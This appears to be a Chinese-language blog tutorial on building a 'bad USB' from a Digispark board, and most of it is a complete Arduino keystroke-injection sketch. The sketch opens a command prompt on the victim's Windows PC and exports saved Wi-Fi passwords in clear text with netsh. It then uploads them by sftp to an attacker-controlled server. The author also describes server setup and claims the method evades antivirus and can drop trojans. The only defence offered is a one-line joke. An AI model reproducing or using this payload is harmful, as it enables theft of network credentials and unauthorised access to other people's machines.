准备环境

digispark开发板,arduino,automator(硬件编程小白可能需要github上的一个辅助硬件编程的软件,下载地址https://github.com/Catboy96/Automator/releases大佬绕过),一台具有公网ip的服务器。

arduino的安装

百度搜索arduino就可以下载安装包安装了,安装后需要进入 工具->开发板->开发板管理器->搜索digistump avr boards->安装 安装好了以后在 工具->开发板->digispark(default ——16.5mhz)。

配置好ardino以后还要安装对应的驱动,安装完驱动就可以写程序编程了。(到了这一步就可以写一个小程序玩玩了,可以写一个打开某个程序的代码试试)

ftp服务器的安装

我的公网服务器是一台kali,kali需要先下载更新源,否则直接用apt-get install vsftp会显示找不到这个包,这里推荐下载中科大的源,下载好了以后更新就行了,将vsftp下载完以后就需要改配置,教程百度都有,我在ipv6_listen这被坑了很久,后来才发现,当listen打开时,必须将ipv6_listen关闭,否则远程连接ftp服务器时会显示连接被拒绝。

制作

digispark是通过模拟鼠标和键盘操作来控制计算机的,所以用digispark控制计算机,防火墙不会报毒。现在就可以烧程序进入digispark进行入侵了。

附上arduino源码——>

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#include "DigiKeyboard.h"

void setup() {
DigiKeyboard.sendKeyStroke(0);
DigiKeyboard.delay(1000);//等待计算机识别bad usb
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
DigiKeyboard.delay(500);
DigiKeyboard.println("cmd");//进入cmd
DigiKeyboard.delay(500);
DigiKeyboard.println("CD C:\\");
DigiKeyboard.delay(500);
DigiKeyboard.println("md 1");
DigiKeyboard.delay(500);
DigiKeyboard.println("cd 1");
DigiKeyboard.delay(500);
DigiKeyboard.println("@netsh wlan export profile key=clear >nul");
//生成wifi密码的文件
DigiKeyboard.delay(500);
DigiKeyboard.println("sftp -oPort=22 **ftp服务器**@**ip地址或域名**");
DigiKeyboard.delay(5000);
DigiKeyboard.println("ftp服务器密码");//连接ftp服务器
DigiKeyboard.delay(1000);
DigiKeyboard.print("mput");
DigiKeyboard.delay(1000);
DigiKeyboard.print(" c:\\");
DigiKeyboard.delay(500);
DigiKeyboard.print("1\\*.xml");//将mput c:\1\*.xml分开输入
DigiKeyboard.delay(1000);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
//上传密码到ftp服务器
}

void loop() {
}

反思

这个入侵的前提是目标计算机必须安装sftp (目前很多windows电脑都默认安装sftp)。使用同样的方法可以做到上传本地计算机的任意文件到服务器,也可以从服务器下载任意文件或者木马和病毒。

防御

不要随意插入陌生的usb ^_^